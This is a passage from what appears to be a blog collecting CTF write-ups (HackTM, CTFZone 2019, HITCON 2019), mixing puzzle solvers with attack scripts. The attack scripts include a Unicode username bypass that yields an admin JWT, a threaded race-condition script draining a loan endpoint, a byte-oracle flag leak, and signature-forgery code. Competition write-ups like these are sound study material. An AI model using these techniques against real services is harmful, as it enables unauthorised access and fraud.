void proc_pwd_byte(int x,int*o)
{
	int t[4]={1,2,3,0};
	fd1(i,4)
	{
		int y=x%i;
		x/=i;
		o[4-i]=t[y];
		fo(j,y,i-2)t[j]=t[j+1];
	}
}

int pb[24][4],rc[2][2][2][2][2];
bool plx[24],ply[24],plz[24];
bool phx[24],phy[24],phz[24];

void speco(bit*s,int pwd)
{
	//low to high
	bit ta,tb;
	fo0(i,8)
	{
		ta.reset(),tb.reset();
		//out,plx[pwd],' ',ply[pwd],' ',plz[pwd],'\n';
		if(plx[pwd])ta^=s[i];
		if(ply[pwd])ta^=s[i+8];
		if(plz[pwd])ta[SG].flip();
		if(phx[pwd])tb^=s[i];
		if(phy[pwd])tb^=s[i+8];
		if(phz[pwd])tb[SG].flip();
		//out,(int)s[i][SG],' ',(int)s[i+8][SG],' ',(int)ta[SG],' ',(int)tb[SG],'\n';
		s[i]=tb;
		s[i+8]=ta;
	}
}

void push(bit*stack,bit*s,int&sc)
{
	fo0(i,8)stack[sc+i]=s[i];
	sc+=8;
}

void pop(bit*stack,bit*s,int&sc)
{
	sc-=8;
	fo0(i,8)s[i]=stack[sc+i];
}

void spec(bit*stack,int&sc,int pwd)
{
	//exit(233);
	bit tmp[16];
	pop(stack,tmp,sc);
	pop(stack,tmp+8,sc);
	//out,to_int(tmp),' ',to_int(tmp+8),'\n';
	speco(tmp,pwd);
	push(stack,tmp+8,sc);
	push(stack,tmp,sc);
	//out,to_int(tmp),' ',to_int(tmp+8),'\n';
}

int get(int&pc)
{
	return code[pc++];
}

void ror(bit*secret,int x,int y)
{
	bit tmp[16];
	fo0(i,y)tmp[i]=secret[x*8+i];
	fo0(i,16-y)secret[x*8+i]=secret[x*8+i+y];
	fo0(i,y)secret[x*8+i+16-y]=tmp[i];
}

void cpu(bit*secret,int&pc,int pwd)
{
	bit stack[248];
	int sc=0;
	pwd%=24;
	while(1)
	{
		int op=get(pc);
		if(op==0x26)spec(stack,sc,pwd);
		else if(op==0x21)break;
		else if(op==0x2d)pop(stack,secret+(get(pc)-0x30)*8,sc);
		else if(op==0x23)ror(secret,get(pc)-0x30,pwd&7);
		else push(stack,secret+(op-0x30)*8,sc);
		//out,op,' ',stack.size()/8,'\n';
		//print_str();
		//if(op==0x26)exit(233);
	}
}

int succ=0;

void work(int k1,int k2,int k3,int k4,int k5,int k6)
{
	int pc=33;
	bit s[32*8];
	fo0(i,32)
	{
		fo0(j,8)
		{
			s[i*8+j].reset();
			s[i*8+j][i*8+j]=1;
		}
	}
	cpu(s,pc,'X');
	cpu(s,pc,k1);
	cpu(s,pc,k2);
	cpu(s,pc,k3);
	cpu(s,pc,k4);
	cpu(s,pc,k5);
	cpu(s,pc,k6);
	cpu(s,pc,'W');
	fo0(i,32)
	{
		fo0(j,8)
		{
			if(req[i]>>j&1)s[i*8+j][SG].flip();
		}
	}
	const int n=256;
	fo0(i,n)
	{
		int t=i;
		while(t<n&&!s[t][i])t++;
		if(t!=i)std::swap(s[t],s[i]);
		assert(s[i][i]);
		fo0(j,n)if(j!=i&&s[j][i])s[j]^=s[i];
	}
	unsigned char res[32];
	mset(res,0);
	fo0(i,n)res[i>>3]|=int(s[i][SG])<<(i&7);
	//fo0(i,32)out,res[i],',';out,'\n';
	bool flag=1;
	fo0(i,32)flag&=res[i]>=32&&res[i]<=127;
	if(flag)
	{
		//out,"ok\n";
		fprintf(stderr,"%s\n",res);
	}
	succ++;
	if(succ%10000==0)out,succ,'\n';
}

int main()
{
	fo0(i,24)proc_pwd_byte(i,pb[i]);
	fo0(x,2)fo0(y,2)fo0(z,2)fo0(i,2)fo0(j,2)
	{
		rc[x][y][z][i][j]=x*i^y*j^z;
	}
	fo0(i,24)
	{
		//out,i,':';fo0(j,4)out,pb[i][j],' ';out,'\n';
		bool ok=0;
		fo0(x,2)fo0(y,2)fo0(z,2)
		{
			bool flag=1;
			fo0(j,2)fo0(k,2)if(rc[x][y][z][j][k]!=(pb[i][j+k*2]&1))flag=0;
			//fo0(j,2)fo0(k,2)out,x,' ',y,' ',z,' ',j,' ',k,' ',rc[x][y][z][j][k],' ',pb[i][j*2+k]&1,'\n';
			if(flag)
			{
				plx[i]=x,ply[i]=y,plz[i]=z;
				ok=1;break;
			}
		}
		assert(ok);
		ok=0;
		fo0(x,2)fo0(y,2)fo0(z,2)
		{
			bool flag=1;
			fo0(j,2)fo0(k,2)if(rc[x][y][z][j][k]!=(pb[i][j+k*2]>>1))flag=0;
			if(flag)
			{
				phx[i]=x,phy[i]=y,phz[i]=z;
				ok=1;break;
			}
		}
		assert(ok);
		//out,plx[i],' ',ply[i],' ',plz[i],'\n';
		//out,phx[i],' ',phy[i],' ',phz[i],'\n';
	}
	for(uint i=0;i<191102976;i++)
	{
		int t=i;
		int a=t%26;t/=26;
		int b=t%26;t/=26;
		int c=t%26;t/=26;
		int d=t%26;t/=26;
		int e=t%26;t/=26;
		int f=t;
		work(a,b,c,d,e,f);
	}
}
```

After add `openmp` to this program, it find lots of strings which like shuffled flag. I manually extract the real flag from it.

# Web

## Draw with us

First, by fuzzing, I found that `hacKtm` (K is chr(8490)) can beat the `toLowerCase` and `toUpperCase`.

After register with this, we can update our rights with `[["n"]]`. Then the `serverInfo` will leak $n$.

Then post `init` with $p=1,q=n$, we got the admin token. Just use this token to view `/flag`.

```python
>>> print(requests.post('http://167.172.165.153:60001/updateUser',json={'color':'1','rights':[['n']]},headers={'Authorization':'...(omitted)'}).text)
{"status":"ok","data":{"user":{"username":"hacKtm","id":"c9a76173-8467-4207-99cd-e239a2b93b8b","color":1,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor",["n"]]}}}
>>> print(requests.get('http://167.172.165.153:60001/serverInfo',headers={'Authorization':'...'}).text)
{"status":"ok","data":{"info":[{"name":"message","value":"Hello there!"},{"name":"height","value":80},{"name":"width","value":120},{"name":"version","value":5e-324},{"name":"usersOnline","value":155},{"name":"adminUsername","value":"hacktm"},{"name":"backgroundColor","value":8947848},{"name":["n"],"value":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979"}]}}
>>> requests.post('http://167.172.165.153:60001/init',json={'p':'1','q':'54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979'}).text
'{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgwNTczMDAxfQ.esUKUwyiWQ-eZJHGqXKTjXalVfQTp2dPz237tnF-ZvY"}}'
```

## My Bank

Use many threads to loan money at the same time. Then it will be race condition. Then just buy the flag.

```python
import requests,threading,time
r=requests.post('http://178.128.175.6:50090/register',data={'csrf_token':'IjczZjg0NDM2NmU3NjVhZjgyZmNlZmNkZDFlNWJlOTYxMTVmZjcyMzci.XjdnLQ.-fiohAVQha1Nn-OjrhWRg8Yd84g','username':'testx'},headers={'cookie':'session=eyJjc3JmX3Rva2VuIjoiNzNmODQ0MzY2ZTc2NWFmODJmY2VmY2RkMWU1YmU5NjExNWZmNzIzNyJ9.XjdUZg.KqdE__xzueJrl1VUwZ_-vgc5980'})
sess=r.cookies['session']
print(sess)

def work():
	r=requests.post('http://178.128.175.6:50090/',data={'csrf_token':'IjczZjg0NDM2NmU3NjVhZjgyZmNlZmNkZDFlNWJlOTYxMTVmZjcyMzci.XjdnLQ.-fiohAVQha1Nn-OjrhWRg8Yd84g','loan':'10'},headers={'cookie':'session='+sess})

t=0
while True:
	threading.Thread(target=work).start()
	t+=1
	if t%20==0:
		time.sleep(0.01)
time.sleep(3)
```

CTFZone 2019 Quals Writeup

December 16, 2019

# PPC
### Fridge
In the $$n\times n$$ matrix, each $$(i,j)$$ operation will add a matrix to the original one, and modulo each entry with some $$P$$. (For the first several levels, $$P=2$$, and $$P=8$$ or $$16$$ later)
We can compute a basis to solve this problem.
```python
import socket
import random
import sys
from copy import deepcopy

_debug=False

class Remote:
	def __init__(self,ip,port):
		self.s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.s.connect((ip,port))
		self.buf=''
	def send(self,s):
		self.s.send(s.encode())
	def recvbyte(self):
		if len(self.buf)==0:
			self.buf=self.s.recv(1024).decode().replace('\r','')
		res=self.buf[0]
		self.buf=self.buf[1:]
		if _debug:
			sys.stdout.write(res)
			sys.stdout.flush()
		return res
	def unrecv(self,s):
		self.buf=s+self.buf
	def recvuntil(self,s):
		res=''
		while res[-len(s):]!=s:
			res+=self.recvbyte()
		return res

r=Remote('ppc-fridge.ctfz.one',31337)

def getlvl():
	s=[]
	s+=[list(map(lambda x:int(x,16),r.recvuntil('\n').split(' ')))]
	for i in range(len(s[0])-1):
		s+=[list(map(lambda x:int(x,16),r.recvuntil('\n').split(' ')))]
	return s

def test(x,y):
	r.send(str(x)+','+str(y)+'\n')
	t=r.recvbyte()
	if t=='t':
		r.recvuntil('\n')
		return True
	r.unrecv(t)
	return False

def hash(x):
	res=0
	for i in x:
		for j in i:
			res=res*2+j
	return res

def umax(s):
	res=0
	for i in s:
		res=max(res,max(i))
	return res

def test8(cur,n,m):
	print('test8=============================')
	P=umax(cur)+1
	def add(x,y):
		res=deepcopy(x)
		for i in range(n):
			for j in range(m):
				res[i][j]=(res[i][j]+y[i][j])%P
		return res
	def sub(x,y):
		res=deepcopy(x)
		for i in range(n):
			for j in range(m):
				res[i][j]=(res[i][j]+P-y[i][j])%P
		return res
	op=[[0 for i in range(m)]for j in range(n)]
	for i in range(n):
		for j in range(m):
			if test(i,j):return
			nxt=getlvl()
			op[i][j]=sub(nxt,cur)
			print(i,j,op[i][j])
			cur=nxt
	for i in range(10):
		x=random.randint(0,n-1)
		y=random.randint(0,m-1)
		print('random test:',x,y)
		if test(x,y):return
		nxt=getlvl()
		assert nxt==add(op[x][y],cur)
		cur=nxt
	sc=[[0 for i in range(m)]for j in range(n)]
	sv=[[0 for i in range(m)]for j in range(n)]
	for i in range(n):
		for j in range(m):
			oc=op[i][j]
			ov=[[0 for i in range(m)]for j in range(n)]
			ov[i][j]=1
			flag=False
			for x in range(n):
				if flag:continue
				for y in range(m):
					if oc[x][y]:
						if sc[x][y]==0:
							print(x,y,oc)
							sc[x][y]=oc
							sv[x][y]=ov
							flag=True
							break
						tc=sc[x][y]
						tv=sv[x][y]
						assert tc[x][y]
						while oc[x][y]:
							o=tc[x][y]//oc[x][y]
							for uu in range(o):
								tc=sub(tc,oc)
								tv=sub(tv,ov)
							oc,tc=tc,oc
							ov,tv=tv,ov
						sc[x][y]=tc
						sv[x][y]=tv
	oc=cur
	ov=[[0 for i in range(m)]for j in range(n)]
	print('try to find sol')
	for x in range(n):
		for y in range(m):
			if oc[x][y]:
				tc=sc[x][y]
				tv=sv[x][y]
				while oc[x][y]:
					oc=add(oc,tc)
					ov=add(ov,tv)
	for x in range(n):
		for y in range(m):
			assert oc[x][y]==0
	print('find sol:',ov)
	for i in range(n):
		for j in range(m):
			for k in range(ov[i][j]):
				print('work:',i,j)
				if test(i,j):return
				cur=getlvl()

def work():
	global _debug
	print('try to get lvl')
	_debug=True
	s=getlvl()
	_debug=False
	n=len(s)
	m=len(s[0])
	print(s)
	test8(s,n,m)

while True:
	work()
```

### Labyrinth
A maze. However, there are some hidden mines in the map. So just mark them and avoid them.
```python
import socket
import random
import sys
from copy import deepcopy
import json
import os
from pwn import *

_debug=True

r=remote('ppc-labyrinth.ctfz.one',4340)

N=41
M=201

def recvmap():
	res=[]
	for i in range(min(N,curx+601)):
		res.append(r.recvuntil('\n').decode().strip())
		if res[-1][:9]=='Exception':
			print(res[-1])
			markmine()
			r.interactive()
	return res

known_map={}

curx=0

def rmap():
	global cury
	fe=False
	t=recvmap()
	n=len(t)
	for i in range(n):
		if len(t[i])!=201:
			if t[i][0]!='#':print(t)
			assert t[i][0]=='#' and t[i][-1]=='#'
			while len(t[i])<201:
				t[i]+=' '
		for j in range(M):
			if t[i][j]=='@':
				cury=j
				ux=i
				t[i]=t[i][:j]+' '+t[i][j+1:]
			elif t[i][j]=='E':
				t[i]=t[i][:j]+' '+t[i][j+1:]
				fe=True
			elif t[i][j]!='#' and t[i][j]!=' ':
				print('find strange point:',i,j)
				print(t[i])
	for i in range(n):
		px=i-ux+curx
		if px in known_map:
			for j in range(201):
				assert known_map[px][j]=='*' or known_map[px][j]==t[i][j]
		else:
			known_map[px]=t[i]

vis={}

def getm(x,y,tx,ty):
	if tx==x+1:return 'down'
	if tx==x-1:return 'up'
	if ty==y+1:return 'right'
	return 'left'

def upmove(ss):
	global curx,guessy
	guessy=cury
	for s in ss:
		if s=='up':curx-=1
		if s=='down':curx+=1
		if s=='left':guessy=guessy-1
		if s=='right':guessy=guessy+1
	r.send(','.join(ss)+'\n')
	rmap()

guessy=0
def markmine():
	t=known_map[curx]
	t=t[:guessy]+'*'+t[guessy+1:]
	known_map[curx]=t
	save()

def find_path(sx,sy,tx,ty):
	if sx==sy and tx==ty:return []
	q=[(tx,ty)]
	fa={(tx,ty):0}
	i=0
	res=[]
	while i<len(q):
		x,y=q[i];i+=1
		def chk(nx,ny):
			if ny<201 and nx in known_map and known_map[nx][ny]!='#' and known_map[nx][ny]!='*' and (nx,ny) not in fa:
				fa[(nx,ny)]=(x,y)
				q.append((nx,ny))
				if nx==sx and ny==sy:
					while nx!=tx or ny!=ty:
						gx,gy=fa[(nx,ny)]
						res.append(getm(nx,ny,gx,gy))
						nx=gx;ny=gy
		chk(x+1,y)
		chk(x-1,y)
		chk(x,y+1)
		chk(x,y-1)
		if len(res):return res

def get_reach(sx,sy):
	q=[(sx,sy)]
	fa={(sx,sy):0}
	i=0
	while i<len(q):
		x,y=q[i];i+=1
		def chk(nx,ny):
			#print(nx,ny)
			if ny<201 and nx in known_map and known_map[nx][ny]!='#' and known_map[nx][ny]!='*' and (nx,ny) not in fa:
				fa[(nx,ny)]=(x,y)
				q.append((nx,ny))
		chk(x+1,y)
		chk(x-1,y)
		chk(x,y+1)
		chk(x,y-1)
	return fa

def print_whole_map():
	t=list(known_map)
	t.sort()
	for i in t:
		u=''
		for j in range(201):
			u+='@' if curx==i and cury==j else known_map[i][j]
		print(u)

def print_reachable():
	t=list(known_map)
	t.sort()
	rcs=get_reach(curx,cury)
	for i in t:
		u=''
		for j in range(201):
			if curx==i and cury==j:
				u+='@'
			elif (i,j) in rcs:
				u+='-'
			else:
				u+=known_map[i][j]
		print(u)

def save():
	open('map.txt','w').write(json.dumps(known_map))
def load():
	global known_map
	t=json.loads(open('map.txt').read())
	for i in t:
		known_map[int(i)]=t[i]

def random_walk():
	while True:
		nx=random.randint(-300,0)
		ny=random.randint(150,200)
		if known_map[nx][ny]==' ':
			break
	pt=find_path(curx,cury,nx,ny)
	for i in range(0,len(pt),20):
		upmove(pt[i:i+20])
		print('R',i,len(pt),curx,cury,pt[i])

if os.path.exists('map.txt'):load()
rmap()
print_whole_map();#exit()
print()
print_reachable()
save();#exit()

while True:
	t=list(known_map)
	t.sort()
	pt=False
	for i in t:
		for j in range(201):
			if known_map[i][j]==' ' and (i,j) not in vis:
				pt=find_path(curx,cury,i,j)
				if pt:break
				print(i,j,'failed')
		if pt:break
	print(pt)
	i=-40
	if curx>=-500:
		for i in range(0,len(pt),40):
			upmove(pt[i:i+40])
			print(i,len(pt),curx,cury,pt[i])
			if curx<-500:break
	st=i+40
	for i in range(st,len(pt),1):
		upmove(pt[i:i+1])
		print(i,len(pt),curx,cury,pt[i])
	print_whole_map()
	print(curx,cury)
	save()
```

### StarWars
When we successfully attacked some ship, our shield will be the max of our old one and shield of that ship, our attack will be the sum modulo 256.
The action of other players are always the same. So the current state is only related with current shield and attack, and the remaining ships.
So we can use dp to solve this. Let $$dp[i][j][k][mask]$$ be: round $$i$$, current shield $$j$$, current attack $$k$$, $$mask$$ stores remaining ships. The dp relation is obvious.
```cpp
#include<bits/stdc++.h>

typedef std::pair<int,int> pii;
template<typename T> inline T max(T a,T b){return a>b?a:b;}

#define xx first
#define yy second
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)

const int system_ships_t[16][2]={
 {20,10},
 {60,10},
 {30,20},
 {80,20},
 {100,20},
 {200,25},
 {600,25},
 {400,50},
 {800,20},
 {1000,100},
 {1600,125},
 {2000,100},
 {3000,150},
 {6000,100},
 {20000,255},
 {10000,1},
};
const int ships_t[17][2]={
 {50,10},
 {30,20},
 {10,60},
 {100,6},
 {20,30},
 {50,15},
 {70,10},
 {120,5},
 {800,1},
 {350,2},
 {10,100},
 {40,15},
 {35,20},
 {70,15},
 {60,20},
 {88,8},
 {99,9},
};
const int attack_order[17][24]={
 {0,0,0,0,0,0,2,3,2,5,2,5,4,7,7,5,0,1,8,2,8,7,0,14},
 {1,2,2,1,1,3,4,3,0,4,7,15,4,11,6,0,0,2,8,6,10,7,5,8},
 {2,1,1,1,0,3,5,2,2,1,3,5,0,3,3,4,15,13,0,4,8,10,13,1},
 {2,0,0,2,0,3,5,1,5,4,2,4,8,0,15,9,4,8,3,1,7,9,0,6},
 {1,1,0,0,1,3,5,1,1,2,5,2,8,8,6,4,7,5,9,2,3,2,8,4},
 {2,1,2,0,1,5,4,2,1,0,1,1,8,5,7,2,7,5,8,4,0,15,8,3},
 {2,1,2,0,1,3,5,5,5,3,7,5,1,5,8,4,5,15,1,9,10,0,10,0},
 {1,2,0,2,1,5,2,2,3,4,3,2,8,1,3,5,7,8,1,2,2,0,4,1},
 {0,1,1,1,1,0,0,5,2,0,0,6,2,3,3,5,2,4,7,15,2,2,1,6},
 {0,2,0,0,1,4,0,3,0,2,1,8,3,6,2,7,15,4,6,2,15,6,5,0},
 {2,0,1,2,2,5,0,4,0,3,0,2,1,4,2,3,15,0,0,5,9,9,1,4},
 {2,2,0,1,0,0,3,4,15,9,0,13,4,3,4,0,5,2,7,10,9,10,1,11},
 {1,0,2,0,1,1,5,5,3,2,3,0,6,0,7,2,4,8,1,5,15,4,3,9},
 {2,1,1,1,1,4,5,4,3,2,7,8,6,4,4,0,3,6,7,2,6,2,9,3},
 {2,0,0,1,1,5,1,3,3,2,8,5,1,3,7,1,7,2,9,8,0,2,4,1},
 {0,2,2,0,2,0,5,2,3,3,0,7,0,5,4,0,6,6,0,3,6,3,8,9},
 {0,0,1,2,0,4,1,0,15,4,11,4,12,8,3,4,6,10,12,13,1,11,4,9},
};

pii ssp[16],sp[17],spo[16][25];

bool work(pii a,pii b,pii&res)
{
	int ac=a.yy?b.xx/a.yy:1e9,bc=a.xx/b.yy;
	if(ac<=bc)
	{
		res=mp(max(a.xx,b.xx),(a.yy+b.yy)&0xff);
		return 1;
	}
	return 0;
}

int hc,hid[23333],hv[33];

std::bitset<1<<16|5> f[25][33][256];

std::vector<int> find_seq(int ti,int tj,int tk,int tl)
{
	if(ti==0)return std::vector<int>();
	int i=ti-1;
	std::vector<std::pair<pii,pii>>ef;
	fo0(j,hc)fo0(k,256)
	{
		for(int l=f[i][j][k]._Find_first();l<f[i][j][k].size();l=f[i][j][k]._Find_next(l))
		{
			fo0(x,17)
			{
				pii tmp;int mask;
				if(x)
				{
					int t=x-1;
					if(l>>t&1)continue;
					if(!work(mp(hv[j],k),spo[t][i],tmp))continue;
					mask=l|1<<t;
				}
				else tmp=mp(hv[j],k),mask=l;
				if(!work(tmp,ssp[attack_order[0][i]],tmp))continue;
				if(hid[tmp.xx]==tj&&tmp.yy==tk&&mask==tl)ef.pb(mp(mp(j,k),mp(l,x)));
			}
		}
	}
	std::vector<int>res=find_seq(ti-1,ef[0].xx.xx,ef[0].xx.yy,ef[0].yy.xx);
	res.pb(ef[0].yy.yy);
	return res;
}

int main()
{
	fo0(i,16)ssp[i]=mp(system_ships_t[i][0],system_ships_t[i][1]);
	fo0(i,17)sp[i]=mp(ships_t[i][0],ships_t[i][1]);
	memset(hid,0xff,sizeof hid);
	fo0(i,16)if(!~hid[ssp[i].xx])hv[hid[ssp[i].xx]=hc++]=ssp[i].xx;
	fo0(i,17)if(!~hid[sp[i].xx])hv[hid[sp[i].xx]=hc++]=sp[i].xx;
	fo0(i,16)
	{
		spo[i][0]=sp[i+1];
		fo0(j,24)
		{
			assert(work(spo[i][j],ssp[attack_order[i+1][j]],spo[i][j+1]));
		}
	}
	f[0][hid[sp[0].xx]][sp[0].yy]=1;
	fo0(i,24)
	{
		fo0(j,hc)
		{
			fo0(k,256)
			{
				for(int l=f[i][j][k]._Find_first();l<f[i][j][k].size();l=f[i][j][k]._Find_next(l))
				{
					fo0(x,17)
					{
						pii tmp;int mask;
						if(x)
						{
							int t=x-1;
							if(l>>t&1)continue;
							if(!work(mp(hv[j],k),spo[t][i],tmp))continue;
							mask=l|1<<t;
						}
						else tmp=mp(hv[j],k),mask=l;
						if(mask==65535)
						{
							std::vector<int>ans=find_seq(i,j,k,l);
							ans.pb(x);
							for(auto i:ans)printf("%d ",i);puts("");
							exit(0);
						}
						if(!work(tmp,ssp[attack_order[0][i]],tmp))continue;
						f[i+1][hid[tmp.xx]][tmp.yy][mask]=1;
					}
				}
			}
		}
	}
}
```

After running this, we find the unique sequence that leads to win.
However, the output part failed to run on my computer, so here is a python code to output the flag:
```python
import hashlib

s=[0,0,0,0,0,0,0,11,16,0,1,10,6,13,3,2,9,15,8,14,12,5,4,7]
hs=hashlib.sha256(bytes(s)).digest()
u=[514320763,1323926996,700138656,849420235,427957186,1264587960,734406206,1885512490]
ut=[]
for i in u:
	ut.append(i&255)
	ut.append(i>>8&255)
	ut.append(i>>16&255)
	ut.append(i>>24&255)
ut=bytes(ut)
ans=[]
for i in range(32):
	v=(ut[i]^hs[i])%127
	ans.append(v if v>=32 else v+32)
print(bytes(ans))
```

# Reverse

### Baby rev
A dos executable. It reads a file and divide it into parts. In each part, it’s compared each byte to some value.
The following script is to extract these compared values from the asm presented by IDA.
```python
s=[-1 for i in range(480)]
for i in open('tmp.txt').readlines():
	t=i[23:].strip()
	if t.startswith('cmp     byte ptr') and '+' in t:
		t=t[t.find('+')+1:]
		o=t[:t.find('h')]
		if ']' in o:o=o[:o.find(']')]
		o=int(o,16)
		t=t[t.find(',')+1:]
		v=t[:t.find('h')]
		v=int(v,16)
		s[o]=v

s[0]=0xdb
for i in range(480):
	if s[i]==-1:print(i)
open('test.bin','wb').write(bytes(s))
```
File tmp.txt contains asm like:
```
seg000:0214 loc_10214:                              ; CODE XREF: sub_101FA+15↑j
seg000:0214                 cmp     byte ptr [si+1], 0DBh
seg000:0218                 jz      short loc_1021D
seg000:021A                 jmp     loc_10426
seg000:021D ; ---------------------------------------------------------------------------
seg000:021D
seg000:021D loc_1021D:                              ; CODE XREF: sub_101FA+1E↑j
seg000:021D                 cmp     byte ptr [si+2], 0DBh
seg000:0221                 jz      short loc_10226
seg000:0223                 jmp     loc_10426
```
Finally run “BABY_REV test.bin” we got the flag.

### CSES
The program requires lua, and it communicates with the server to execute commands.
In the main function, an array is decoded, and then it’s the lua bytecode.
I used luadec to decompile the bytecode, but some functions were incorrect.
However, in the handle_answer function, we saw the command.
```lua
handle_answer = function(answer)
  -- function num : 0_14 , upvalues : _ENV
  enc_index = (string.find)(answer, "encrypt::")
  dec_index = (string.find)(answer, "decrypt::")
  command = rc4_cipher("ctfzone2019", base64_dec("1bC87lzEebgL"))
  bin_index = (string.find)(answer, command)
  if enc_index == 1 or dec_index == 1 or bin_index == 1 then
    print_result(answer)
  end
End
```
I patched this function, and find that command is “gpsjdeadk”.
Then I send this to the server, an large base64 encoded string is returned. It contains an ELF file, the server.
The server encrypts flag with an hard coded AES key, and use the encrypted flag as IV and key for later encryption.
The following script is to find the encrypted flag. The final decryption is too easy, and I won’t put it here.
```python
import socket
import random
import sys
from copy import deepcopy
from pwn import *

r=remote('re-cses.ctfz.one',3607)

def encrypt(s):
	r.send('encrypt::'+s+'\n')
	return r.recvuntil('\0')[:-2].decode('base_64')

def decrypt(s):
	r.send('decrypt::'+s.encode('base_64').strip()+'\n')
	res=''
	for i in range(len(s)):
		t=r.recv(1)
		if t=='\0':break
		res+=t
	return res

def xor(a,b):
	r=''
	for i in range(len(a)):
		r+=chr(ord(a[i])^ord(b[i]))
	return r

a='1'*16
x=encrypt(a)[:16]

xu=decrypt(x+x)
b=xu[:16]
c=xu[16:]
print b.encode('hex'),c.encode('hex')

rc=xor(c,x)
flag_enc=xor(rc,a)
print(flag_enc.encode('hex'))
```

### Strange_pdf
The comment starting with % in pdf file will be ignored by pdf-viewer, and there is one program in the comment just after header. Also, there is anther comment later which is “55 AA”, the end signature of MBR. So the program is a 16-bit x86 program and it print 99399 on screen, which is x.

HITCON CTF 2019 Quals Writeup

October 15, 2019

# Misc
### EmojiiVM
It's too long to directly print each character, but we can push 1,1,1,2,...,9,9 into the stack, and write a simple loop to print the table.
Unfortunately my blog doesn't support emojis, so here's no solution.

### heXDump
Xxd only overwrites the first bytes of the file, so we can just enumerate each byte.
```python
from pwn import *

r=remote('13.113.205.160',21700)

def get():
	r.recvuntil('0) quit\n')
	r.send('2\n')
	return r.recvuntil('\n')[:-1]

r.recvuntil('0) quit\n')
r.send('1337\n')

fh=get()

known='hitcon{'

while True:
	flag=False
	for j in range(32,127):
		print j
		t=known+chr(j)
		r.recvuntil('0) quit\n')
		r.send('1\n')
		r.recvuntil('format)\n')
		r.send(t.encode('hex')+'\n')
		if get()==fh:
			known=t
			flag=True
			break
	print known
	if not flag: break
```

# Crypto
### Very Simple Haskell
If a bit in the flag is 1, the answer will multiply square of a specific prime number.
Then we can use meet-in-middle to find the answer. However, here N is too big, so just factorize the primes is okay.
```python
from gmpy2 import *
from Crypto.Util.number import isPrime

primes=[]
pinv={}
for i in range(2,5000):
	if isPrime(i):
		pinv[i]=len(primes)
		primes.append(i)
print(len(primes))

n=134896036104102133446208954973118530800743044711419303630456535295204304771800100892609593430702833309387082353959992161865438523195671760946142657809228938824313865760630832980160727407084204864544706387890655083179518455155520501821681606874346463698215916627632418223019328444607858743434475109717014763667

base=129105988525739869308153101831605950072860268575706582195774923614094296354415364173823406181109200888049609207238266506466864447780824680862439187440797565555486108716502098901182492654356397840996322893263870349262138909453630565384869193972124927953237311411285678188486737576555535085444384901167109670365

req=84329776255618646348016649734028295037597157542985867506958273359305624184282146866144159754298613694885173220275408231387000884549683819822991588176788392625802461171856762214917805903544785532328453620624644896107723229373581460638987146506975123149045044762903664396325969329482406959546962473688947985096

req=req*invert(base,n)%n

flag='hitcon{'
for i in range(6):
	t=0
	for j in range(8):
		r=28+i*8-j
		if req%primes[r]==0:
			t|=1<<j
	flag+=chr(t)
print flag+'}'
```

### Rᴀɴᴅᴏᴍʟʏ Sᴇʟᴇᴄᴛ A 
In the signing process, whatever we send to the server, the deflated data is ~90 bytes, then after padding they will have common high bits.
Now we have some equations like $$a^3=bN+c+K$$ ($$a<n$$, $$c<\sqrt{n}$$ and $$K$$ is constant). It means $$(a^3-K)$$ is very close to a multiple of N. We can use some linear combinations of these $$a^3-K$$ to make a number very close to N.
Assume we have a set of these close-multiple of N, then we can take two numbers from the set, make the difference, then insert back to the set. Each time we do this, and maintain the smallest numbers, finally we can get a number close to N. Also we know some linear equations of $$(a^3-K)$$ that resulted in N, gaussian elimination these equations, we can find b in the original equations. Then N is also found.
After knowing N, we can send any command to the server. But we still need to sign it.
When signing, we need to calculate the cube root of a padded string. We can use Bleichenbacher’s Low-Exponent Attack, but the deflated string is too long, so this will probably fail.
Then I wrote the deflate algorithm myself, and changed the huffman tree to lower the size, and just enumerate nonce and wait until we find one.

Signing script:
```python
import sys
import zlib,hashlib,random
from gmpy2 import *
import numba as nb
from multiprocessing import Pool

@nb.jit(nopython=True)
def get_hdict(codelengths):
	mp={}
	nextcode = 0
	for codelength in range(1, max(codelengths) + 1):
		nextcode <<= 1
		startbit = 1 << codelength
		for (symbol, cl) in enumerate(codelengths):
			if cl != codelength:
				continue
			mp[symbol]=startbit | nextcode
			nextcode += 1
	return mp

@nb.jit(nopython=True)
def upd(a,au,b,c,d):
	if not b in a:
		a[b]=c
		au[b]=d
	else:
		if c<a[b]:
			a[b]=c
			au[b]=d

@nb.jit(nopython=True)
def cal_huffman(s):
	ps=[0]
	for i in s:
		ps.append(ps[-1]+i)
	f=[{(0,2):0}]
	for i in range(19):
		f.append({(100+i,0):0})
	g=[{(0,2):(0,0)}]
	for i in range(19):
		g.append({(100+i,0):(0,0)})
	best=10**10
	bp=0,0,0
	LIM=450 if len(s)>15 else 120
	for i in range(1,16):
		for j in f[i-1]:
			x,y=j
			if y>len(s)-x:
				continue
			v=f[i-1][j]
			for k in range(1+min(y,len(s)-x)):
				if (y-k)*2>len(s)-(x+k): continue
				nv=(ps[x+k]-ps[x])*i+v
				upd(f[i],g[i],(x+k,(y-k)*2),nv,j)
				if x+k==len(s):
					if nv<best:
						best=nv
						bp=i,x+k,y-k
	res=[0]
	t,x,y=bp
	for i in range(t,0,-1):
		ox,oy=g[i][x,y]
		res+=[i]*(x-ox)
		x,y=ox,oy
	return res[:0:-1]

@nb.jit(nopython=True)
def getkl(s):
	s2=[]
	for ii in s:
		if len(s2)==0 or s2[-1][0]!=ii:
			s2.append([ii,1])
		else:
			s2[-1][1]+=1
	re=[(0,0)]
	for i in s2:
		if i[0]==0:
			if i[1]<3:
				for j in range(i[1]):
					re.append((0,0))
			elif i[1]<11:
				re.append((17,i[1]-3))
			else:
				re.append((18,i[1]-11))
			continue
		if i[1]<=3:
			for j in range(i[1]):
				re.append((i[0],0))
			continue
		if i[1]<=7:
			re.append((i[0],0))
